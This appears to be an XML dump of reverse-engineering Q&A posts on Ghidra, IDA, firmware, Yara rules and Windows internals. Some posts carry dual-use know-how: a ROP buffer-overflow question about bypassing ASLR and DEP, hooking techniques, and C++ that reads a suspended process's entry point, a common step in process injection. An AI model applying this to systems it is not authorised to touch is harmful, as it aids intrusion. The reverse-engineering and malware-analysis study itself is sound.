  <row Id="25090" PostTypeId="1" CreationDate="2020-05-22T07:43:04.653" Score="1" ViewCount="138" Body="&lt;p&gt;i was looking at interesting anti malware roles (malware analysis and prevention) and among the required skills they mentioned that &quot;modern hooking techniques&quot; should be well acquainted with. i was wondering what are modern hooking techniques?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;can anybody reference me to examples of &quot;modern hooking techniques&quot; and examples of them with code to make understanding easier?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when referring to hooking, malware researchers usually use manual hooking or use frameworks such as pintools/frida?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;please elaborate on what you think is modern hooking and please share references or code samples, as it can greatly help me and i believe a lot of other people interested in becoming better at reversing/malware analysis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you for your efforts&lt;/p&gt;&#xA;" OwnerUserId="33289" LastActivityDate="2020-05-22T07:43:04.653" Title="what are modern hooking techniques?" Tags="|function-hooking|dll-injection|injection|hooking|" AnswerCount="0" CommentCount="1" ClosedDate="2020-05-22T23:18:25.680" ContentLicense="CC BY-SA 4.0" />
  <row Id="25091" PostTypeId="2" ParentId="16672" CreationDate="2020-05-22T08:41:39.353" Score="0" Body="&lt;p&gt;After reversing a bit more:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It cannot be __cxa_pure_virtual. I found the implementation for that in my binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like the compiler just did some very poor optimizations: The virtual function slot is never called so the corresponding functions were optimized away but it didn't actually shift the slot indices. Interesting.&lt;/p&gt;&#xA;" OwnerUserId="22108" LastActivityDate="2020-05-22T08:41:39.353" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25092" PostTypeId="1" CreationDate="2020-05-22T11:04:04.847" Score="1" ViewCount="162" Body="&lt;p&gt;I have a question,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a device that i can perform on it buffer overflow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that is that there is an ASLR(on all addresses in /proc/binary/maps, but not on the binary itself, but all addresses in binary are starting with two null bytes for example 0x00002000) and there is as well as DEP(on heap an stack).&#xA;I can override the return address(for the first gadget) but not possible to write additional addresses for ROP since all addresses from the binary starts with null bytes.&#xA;I also can`t leak an address and it is not possible to perform brute force in order to guess addresses for example from libc.&#xA;Does anyone have an idea how can perform the overflow in this case ? &lt;/p&gt;&#xA;" OwnerUserId="30408" LastActivityDate="2020-05-22T11:04:04.847" Title="RopGadget buffer overflow" Tags="|buffer-overflow|rop|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="25093" PostTypeId="2" ParentId="25088" CreationDate="2020-05-22T15:10:46.933" Score="2" Body="&lt;p&gt;I think your approach is generally correct. You probably can't connect to the Bluetooth because your additional code throws an exception somewhere. The best idea would be to check it during dynamic analysis. You can do it using for example Android Studio and &lt;a href=&quot;https://github.com/JesusFreke/smalidea&quot; rel=&quot;nofollow noreferrer&quot;&gt;smalidea&lt;/a&gt; plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I see you don't store the result of your &lt;code&gt;ByteArrayToString&lt;/code&gt; function call. You also pass only one parameter to the &lt;code&gt;android.util.Log.d&lt;/code&gt; function (in your case &lt;code&gt;v5&lt;/code&gt;) but it actually requires two parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can hook and intercept functions in android applications using for example dynamic instrumentation. Good tool for this purpose is named &lt;a href=&quot;https://frida.re/docs/home/&quot; rel=&quot;nofollow noreferrer&quot;&gt;frida&lt;/a&gt;. Thanks to this tool you can hook various functions and change the behavior during runtime (for example add logging feature) without repacking the application. You don't need to mess with smali code, instead you can just use their easy JavaScript API. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are interested in the Bluetooth data logging there is even better way. You can use bulit-in Android function called &lt;code&gt;Bluetooth HCI snoop log&lt;/code&gt;. You can enable it in developer options on your phone. After you enable the option all the bluetooth communication made between those devices will be recorded and saved onto internal storage. You can later copy the &lt;code&gt;btsnoop_hci.log&lt;/code&gt; and possibly all files with the &lt;code&gt;.cfa&lt;/code&gt; extension to further examination. Those files can be loaded into for example popular program named &lt;a href=&quot;https://www.wireshark.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;WireShark&lt;/a&gt; and inspected similar  to PCAP files.&lt;/p&gt;&#xA;" OwnerUserId="21109" LastActivityDate="2020-05-22T15:10:46.933" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25094" PostTypeId="1" CreationDate="2020-05-22T16:51:07.693" Score="1" ViewCount="173" Body="&lt;p&gt;&lt;strong&gt;Device:&lt;/strong&gt; i was able to recover bricked Chinese IOT a Sous Vide cooker. Replaced damaged capacitor. it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it has &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ARM soc/mcu/processor&lt;/li&gt;&#xA;&lt;li&gt;WI-FI (broadcom)&lt;/li&gt;&#xA;&lt;li&gt;LCD touch screen + 16bit STM mcu.&lt;/li&gt;&#xA;&lt;li&gt;EEPROM 4Kbyte on i2c bus&lt;/li&gt;&#xA;&lt;li&gt;1 Giga bit NAND flash memory.&lt;/li&gt;&#xA;&lt;li&gt;125 M byte of RAM&lt;/li&gt;&#xA;&lt;li&gt;I2C bus on the motherboard.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Lacks features:&lt;/strong&gt; i would like to start the timer only after the device reach the target temperature: with meats, it is ok to add food to the water as it heats. Not for Poached eggs!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I downloaded the firmware&lt;/strong&gt; update payload motorola srecord SREC format concatenated with a big blob of data like BMP &amp;amp; i18n files. i used ghidra to look inside the code SREC : ARM 32bit/16bit big endian. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Qemu emulation&lt;/strong&gt; with unicorn framework: i traced mcr instructions. it seems the firmware is configuring the MPU this way:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/j6nJQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/j6nJQ.png&quot; alt=&quot;MPU&amp;#39;s layout&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/XGXma.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XGXma.png&quot; alt=&quot;base address&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Recon&lt;/strong&gt; Then i was able to id &quot;Boot_console_put(char *)&quot; function and a memory address where the firmware write char by char all the boot  message related strings: &lt;strong&gt;0x3402f404&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pw3NZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pw3NZ.png&quot; alt=&quot;0x3402f404 used to place boot console char&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Console Output&lt;/strong&gt; Then the emulated firmware update payload seems to be stuck on a loop when trying to acces and I2C slave (could be the eeprom) printing this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[boot] entering HW_MCASIC_init&#xA;[boot NVM] I2C: SDA seems stuck low!&#xA;[boot NVM] I2C: SDA seems stuck low!&#xA;[boot NVM] I2C: SDA seems stuck low!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the code dealing with I2C seem a bit too much convoluted for a rapid understanding&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The question&lt;/strong&gt; :  i would like to guess What are all the others address the firmware is referencing in the code. Searching google and github for similar constant/base address &amp;amp; offsets didn't help... google search result returning off topic commercial links.&lt;/p&gt;&#xA;" OwnerUserId="33310" LastActivityDate="2020-05-22T16:51:07.693" Title="ARM chip gpio/ identification from firmware code" Tags="|disassembly|arm|static-analysis|ghidra|firmware-analysis|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25095" PostTypeId="1" CreationDate="2020-05-22T21:08:30.550" Score="3" ViewCount="287" Body="&lt;p&gt;Is there a way to display all the open handles of a process in IDA Pro while debugging it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm debugging a 64-bit binary on Windows OS with the win64_remotex64.exe as the debugging server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to display the list of all the open handles in the process:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Open file handles&#xA;Open registry handles&#xA;Open socket handles&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Debuggers such as Olly Debugger allow to see the complete list. Is it possible to see the same in IDA Pro?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Information should be as shown below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;handle_id - path to the file&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2673" LastActivityDate="2020-05-22T21:08:30.550" Title="Display open handle ids in IDA Pro" Tags="|ida|debugging|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25096" PostTypeId="2" ParentId="25068" CreationDate="2020-05-23T02:25:46.830" Score="3" Body="&lt;p&gt;The Ghidra Version Tracking tool is what you're looking for. See &lt;a href=&quot;https://www.youtube.com/watch?v=K83T7iVla5s&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; for an introductory video.&lt;/p&gt;&#xA;" OwnerUserId="33314" LastActivityDate="2020-05-23T02:25:46.830" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25097" PostTypeId="1" AcceptedAnswerId="25098" CreationDate="2020-05-23T08:05:27.403" Score="3" ViewCount="1162" Body="&lt;p&gt;Okay, so in the following code-snippet I am starting a &lt;code&gt;notepad.exe&lt;/code&gt; process in a suspended state and trying to get the AddressOfEntryPoint of the process. Problem is I can't seem to find the actual &lt;code&gt;codeEntry&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both the application and the &lt;code&gt;notepad.exe&lt;/code&gt; process is 64-bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the commented code-snippet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;&#xA;#include &amp;lt;windows.h&amp;gt;&#xA;#include &amp;lt;winternl.h&amp;gt;&#xA;&#xA;#pragma comment(lib, &quot;ntdll&quot;)&#xA;&#xA;using namespace std;&#xA;&#xA;int main() {    &#xA;    STARTUPINFOA si;&#xA;    si = {};&#xA;    PROCESS_INFORMATION pi = {};&#xA;    PROCESS_BASIC_INFORMATION pbi = {};&#xA;    DWORD returnLength = 0;&#xA;    CreateProcessA(0, (LPSTR)&quot;c:\\windows\\system32\\notepad.exe&quot;, 0, 0, 0, CREATE_SUSPENDED, 0, 0, &amp;amp;si, &amp;amp;pi);&#xA;&#xA;    // get target image PEB address and pointer to image base&#xA;    NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &amp;amp;pbi, sizeof(PROCESS_BASIC_INFORMATION), &amp;amp;returnLength);&#xA;    DWORD_PTR pebOffset = (DWORD_PTR)pbi.PebBaseAddress + 10;&#xA;&#xA;    // get target process image base address&#xA;    LPVOID imageBase = 0;&#xA;    ReadProcessMemory(pi.hProcess, (LPCVOID)pebOffset, &amp;amp;imageBase, 16, NULL);&#xA;&#xA;    // read target process image headers&#xA;    BYTE headersBuffer[4096] = {};&#xA;    ReadProcessMemory(pi.hProcess, (LPCVOID)imageBase, headersBuffer, 4096, NULL);&#xA;&#xA;    // get AddressOfEntryPoint&#xA;    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)headersBuffer;&#xA;    PIMAGE_NT_HEADERS64 ntHeader = (PIMAGE_NT_HEADERS64)((DWORD_PTR)headersBuffer + dosHeader-&amp;gt;e_lfanew);&#xA;    LPVOID codeEntry = (LPVOID)(ntHeader-&amp;gt;OptionalHeader.AddressOfEntryPoint + (DWORD_PTR)imageBase);&#xA;&#xA;    // Do something with the AddressOfEntryPoint(print to console in this case)&#xA;    cout &amp;lt;&amp;lt; codeEntry &amp;lt;&amp;lt; endl;&#xA;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33317" LastActivityDate="2020-05-23T12:34:17.347" Title="Finding AddressOfEntryPoint for a 64-bit process" Tags="|c++|winapi|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25098" PostTypeId="2" ParentId="25097" CreationDate="2020-05-23T11:36:53.697" Score="7" Body="&lt;p&gt;Generally you are doing almost all correct, there are however two simple mistakes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First and probably most important is here &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DWORD_PTR pebOffset = (DWORD_PTR)pbi.PebBaseAddress + 10;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The offset to &lt;code&gt;ImageBaseAddress&lt;/code&gt; is not &lt;code&gt;10&lt;/code&gt;, it's &lt;code&gt;0x10&lt;/code&gt; (16 in DEC). So you need to do it like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DWORD_PTR pebOffset = (DWORD_PTR)pbi.PebBaseAddress + 0x10;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Secondly, are you sure that sizeof &lt;code&gt;LPVOID&lt;/code&gt; is 16? At least on my compiler it is 8, not 16, so you are mostly like overwriting data on the stack. That's why I propose this approach&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ReadProcessMemory(pi.hProcess, (LPCVOID)pebOffset, &amp;amp;imageBase, sizeof(LPVOID), NULL);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;instead of&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ReadProcessMemory(pi.hProcess, (LPCVOID)pebOffset, &amp;amp;imageBase, 16, NULL);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="21109" LastEditorUserId="21109" LastEditDate="2020-05-23T12:34:17.347" LastActivityDate="2020-05-23T12:34:17.347" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25099" PostTypeId="2" ParentId="22169" CreationDate="2020-05-23T13:38:21.160" Score="1" Body="&lt;p&gt;Try this: &lt;a href=&quot;https://github.com/hexfati/SharpDllLoader&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/hexfati/SharpDllLoader&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simple C# executable that invokes an arbitrary method of an arbitrary C# DLL. The project is useful to analyze malicious C# DLL through the popular tool DNSpy.&lt;/p&gt;&#xA;" OwnerUserId="33318" LastActivityDate="2020-05-23T13:38:21.160" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25100" PostTypeId="1" AcceptedAnswerId="25101" CreationDate="2020-05-23T15:16:14.290" Score="1" ViewCount="87" Body="&lt;p&gt;I am trying to reverse engineer software to extend its functionality as expected of me. So I don't have the source code with me. Anyways, I am used to seeing codes that start like the one below, and is clear to me what is actually going on there. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push ebp&#xA;mov ebp,esp&#xA;sub esp,10h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But my worries came when I saw one that looks like this below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov edi,dword ptr [0E9A474h];&#xA;imul eax,dword ptr [edi+5AF4h],70h;&#xA;cmp dword ptr [ebp+eax-35DCh],0h;&#xA;je some_location&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the prologue for the function doesn't have any instruction like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sub esp,10h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At least I could have known the size of the stack the function is using for local variable storage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And additional question is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is this a good programming as far as assembly language is a concern?&lt;/li&gt;&#xA;&lt;li&gt;Can there be any collision in memory between this function and another?&lt;/li&gt;&#xA;&lt;li&gt;Is it possible to know the limit of this function in the stack? Either the Size&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="30581" LastActivityDate="2020-05-23T16:58:03.477" Title="How's this code able to make use of the stack?" Tags="|assembly|x64dbg|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="25101" PostTypeId="2" ParentId="25100" CreationDate="2020-05-23T16:58:03.477" Score="3" Body="&lt;p&gt;The function prologue (&lt;code&gt;push ebp&lt;/code&gt;, etc.) is common in assembly, but not required. &lt;code&gt;ebp&lt;/code&gt; is often used for local varible access, but can as well be used as a general purpose register, just like &lt;code&gt;eax&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assembly allows the code to manipulate stack pointer at any place and doesn't force it to follow any convention - as long as there are no exceptions, CPU will not care; it will simply execute the instructions pointed by &lt;code&gt;eip&lt;/code&gt; register. It will not stop you from accessing (even modifying) other function's memory as long as your program has enough privileges to do that. I think this answers your first two questions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding your third question, in general, it is not possible. However, usually, you can look for the instructions modifying &lt;code&gt;esp&lt;/code&gt; (like &lt;code&gt;push&lt;/code&gt;, &lt;code&gt;pop&lt;/code&gt;, etc.) and infer it from them. If you showed us the entire function, it would be easier to tell the size in this particular case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, the instructions you have shared with us don't seem to access local variables of this function or of any other either. I don't know what are the values stored in &lt;code&gt;edi&lt;/code&gt; and &lt;code&gt;ebp&lt;/code&gt; registers, but I guess they point to some dynamically allocated data on heap.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastActivityDate="2020-05-23T16:58:03.477" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25102" PostTypeId="1" CreationDate="2020-05-23T20:18:53.637" Score="2" ViewCount="1407" Body="&lt;p&gt;Is it possible to remotely debug IDAPyhton scripts using VSCode and ptvsd? I found a few tutorials on the net, but no one is working. In the past, using the same protocol I was able to connect to Maya from VSCode and to remotely debug Pymel scripts. So, from IDA python console I entered:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ptvsd.enable_attach(address=('localhost', 5678), redirect_output=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and eventually:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ptvsd.wait_for_attach(60)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A Python MsgBox appears telling a script is running... Now in VSCode I started the script to be debugged using the standard json configuration file for attaching to a remote debugger, but the connection is always refused.&#xA;I tried to change the port (3528, 3000), the address (0.0.0.0) and to remove the redirect_output flag. No matter what, I wasn't able to connect. I tried also:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ptvsd.break_into_debugger()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But again, no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a second question, is there a way to make the import statement recognize IDAPython modules (idaapi, idc, idc_bytes and so on) or to use autocompletion? I know IDAPython is bundled with IDA and not installed in site-packages, but I wonder if is there a solution (not to execute the script outside of IDA, but to have the modules and keywords recognized).&lt;/p&gt;&#xA;" OwnerUserId="33304" LastActivityDate="2021-10-15T10:17:28.000" Title="How to setup VSCode with IDAPython?" Tags="|ida|debugging|idapython|remote|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25103" PostTypeId="1" CreationDate="2020-05-01T16:04:37.100" Score="1" ViewCount="1375" Body="&lt;p&gt;I have decompiled a DLL, and in the Symbol tree, I have clicked a function.&#xA;This function looks like this in the Decompile window:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;undefined4 process_something(undefined4 param_1,undefined4 param_2)&#xA;{&#xA;      thunk_FUN_1017e9e0(param_1,param_2);&#xA;      return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have right-clicked on FUN_1017e9e0, then I selected &quot;Rename Function&quot;.&#xA;I have renamed it &quot;process_something_internal&quot;, and &quot;Namespace&quot; was set to Global.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the function looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;undefined4 process_something(undefined4 param_1,undefined4 param_2)&#xA;{&#xA;      process_something_internal1(param_1,param_2);&#xA;      return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when I double click &quot;process_something_internal1&quot;, it takes me to the function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void FUN_1017e9e0(undefined4 param_1,undefined4 param_2)&#xA;{&#xA;    //do something&#xA;    return;&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why has the function not be renamed as well?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerDisplayName="AntonioC" LastActivityDate="2020-06-03T19:47:21.900" Title="Renaming a function globally" Tags="|ghidra|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25104" PostTypeId="2" ParentId="25103" CreationDate="2020-05-14T16:56:41.567" Score="-1" Body="&lt;p&gt;This function has already been loaded and therefore it is in memory.&#xA;When you override it's name the memory reference is still the same.&lt;/p&gt;&#xA;" OwnerDisplayName="JuanGG" LastActivityDate="2020-05-14T16:56:41.567" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25105" PostTypeId="1" CreationDate="2020-05-24T00:37:14.503" Score="1" ViewCount="185" Body="&lt;p&gt;My friend gave me this cheap little chinese MP3 player. I'm curious about exploring it learning more about the hardware, and potentially seeing if I could expand it's functionality in some way or run my own code on it to make it into something simple like a digital picture frame. Anything really I'm just curious about what it could potentially do but I don't know much about how feasible that would potentially be. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't have wifi or anything just a USB port, Bluetooth (audio), and an SD card slot. When I plug it in to my computer it shows up as a USB Mass Storage Gadget, which I understand is just an interface for transferring files to it. I asked the manufacturer about the processor inside and all he told me was &quot;ATJ&quot;. My main machine is a mac with an Ubuntu dual boot. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd just like to get an idea of what might be feasible with this device and what might not be, as well as any tools or first steps for finding out more about the hardware or potentially being able to communicate with the device over USB or through the SD card. I don't care if I brick. I'm just curious about like, if an it was someone's job to figure out anything they could about this device, or make it run &quot;Hello World&quot; or something, what steps they might take to or what tools they might use to try to accomplish that. I also might be able to ask the company for more simple details but I'm not sure how much they would provide me. &lt;/p&gt;&#xA;" OwnerUserId="33322" LastEditorUserId="33322" LastEditDate="2020-05-24T00:46:05.173" LastActivityDate="2020-06-14T00:49:11.787" Title="Interact with a network-less Chinese MP3 player running a modified version of Linux" Tags="|firmware|hardware|usb|firmware-analysis|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25106" PostTypeId="1" CreationDate="2020-05-24T07:55:14.367" Score="2" ViewCount="202" Body="&lt;p&gt;I have to write a Yara rules for malwares that is based on assember code. Suppose I have an unpacked malware sample. To avoid false positives, the selected code must be unique. Can anyone tell me which code is suitable and which is not? For example mov eax,1 would not be a good choice. But what code would be a good criterion? What are the criterions for Yara rules based assembler codes?&lt;/p&gt;&#xA;" OwnerUserId="33323" LastActivityDate="2020-05-26T00:36:36.463" Title="Code based Yara rule" Tags="|malware|yara|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25107" PostTypeId="1" CreationDate="2020-05-24T13:41:21.927" Score="1" ViewCount="818" Body="&lt;p&gt;When using the export to C header functionality of Ghidra it keeps outputting double and triple symbols with &quot;.conflict&quot; appended. When I change how the data type manager should deal with conflicts it still keeps outputting them. Does anyone know how to resolve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It prevents Ghidra from parsing that same output back into another version of the application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit: adding clarification as requested&lt;/strong&gt;&#xA;I'm playing around with ioncube and what I'm trying to do is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Compile PHP with debug enabled&lt;/li&gt;&#xA;&lt;li&gt;Extract type information&lt;/li&gt;&#xA;&lt;li&gt;Use type information on the ioncube executable&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What I mean with 'use type information' is that I want to have structures available so that I can apply them manually. However when right clicking on the type manager and exporting the 'php with debug enables' to a C header, GHIDRA is not able to import the header file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the issues during import seem to be in regards to anonymous structures that besides the name also receive a '.conflict' append. I've temporarily resolved this by cleaning them up manually and just create the bare minimum to import. However it would be nice to do this as intended by GHIDRA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this clarifies a bit more.&lt;/p&gt;&#xA;" OwnerUserId="33303" LastEditorUserId="33303" LastEditDate="2020-05-31T20:23:01.773" LastActivityDate="2020-05-31T20:23:01.773" Title="Ghidra export to C header, how to remove &quot;.conflict&quot;?" Tags="|ghidra|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25108" PostTypeId="1" CreationDate="2020-05-24T16:17:15.417" Score="0" ViewCount="77" Body="&lt;p&gt;I have unpacked and dumped a dll that uses a custom IAT to resolve Win32 API calls (143 of them).&#xA;Is there anyway to modify the dumped dll PE to include these imports dynamcially and forward their addresses to the dumped function pointer table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See below a photo of the on disk dumped PE function table and the list of functions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yvXoD.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yvXoD.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23895" LastActivityDate="2020-05-24T16:17:15.417" Title="Specifying DLL imports within the PE?" Tags="|dll|unpacking|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25109" PostTypeId="2" ParentId="25066" CreationDate="2020-05-24T17:28:10.350" Score="1" Body="&lt;p&gt;using dotPeek finally I found the (very simple) solution:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int crcIndex = numArray.length - 2;&#xA;buffer[crcIndex];&#xA;&#xA;for (int index = 1; index &amp;lt; buffer.length; ++index) {&#xA;    if (index != crcIndex)&#xA;    buffer[crcIndex] ^= buffer[index];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically its a XOR walked thru every byte, skipping the CRC byte itself but including the last byte.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;regards&lt;/p&gt;&#xA;" OwnerUserId="33277" LastActivityDate="2020-05-24T17:28:10.350" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25110" PostTypeId="1" CreationDate="2020-05-25T05:09:37.407" Score="0" ViewCount="322" Body="&lt;p&gt;I am trying to reverse engineer my routers firmware. So as the first step I took uart pins and I could login to the router through serial console. I need to export the binary files to my host system. My host PC is running ubuntu. I have tried SSH login but I am not able to login as the username and password is unknown. Also username and password is required for SCP too. So how can I copy files to host? Please suggest any method. How should I approach this situation?&lt;/p&gt;&#xA;" OwnerUserId="32791" LastActivityDate="2020-05-25T05:09:37.407" Title="reverse engineering TP link TL-WR841N router" Tags="|firmware|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25111" PostTypeId="1" AcceptedAnswerId="25115" CreationDate="2020-05-25T11:07:49.993" Score="4" ViewCount="328" Body="&lt;p&gt;I'm trying to debug a dll file using Ida disassembler and Windbg.&#xA;I'm debugging rundll32.exe and passing the target dll (debugee) as an argument. &#xA;I'm able to have a breakpoint on each Dll load &amp;amp; unload, but I'm looking for a way to debug the target dll Main function.&#xA;I want to put a breakpoint on the dispatcher of the dll main function in the loader (ntdll.dll) in order to do this.&#xA;What is the routine responsible for dll main dispatching?&#xA;My environment is windows 10 version 1809.&lt;/p&gt;&#xA;" OwnerUserId="26498" LastActivityDate="2020-05-25T18:30:49.307" Title="what routine in ntdll.dll is responsible of dispatching DllMain function of loaded dll?" Tags="|ida|windows|dll|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
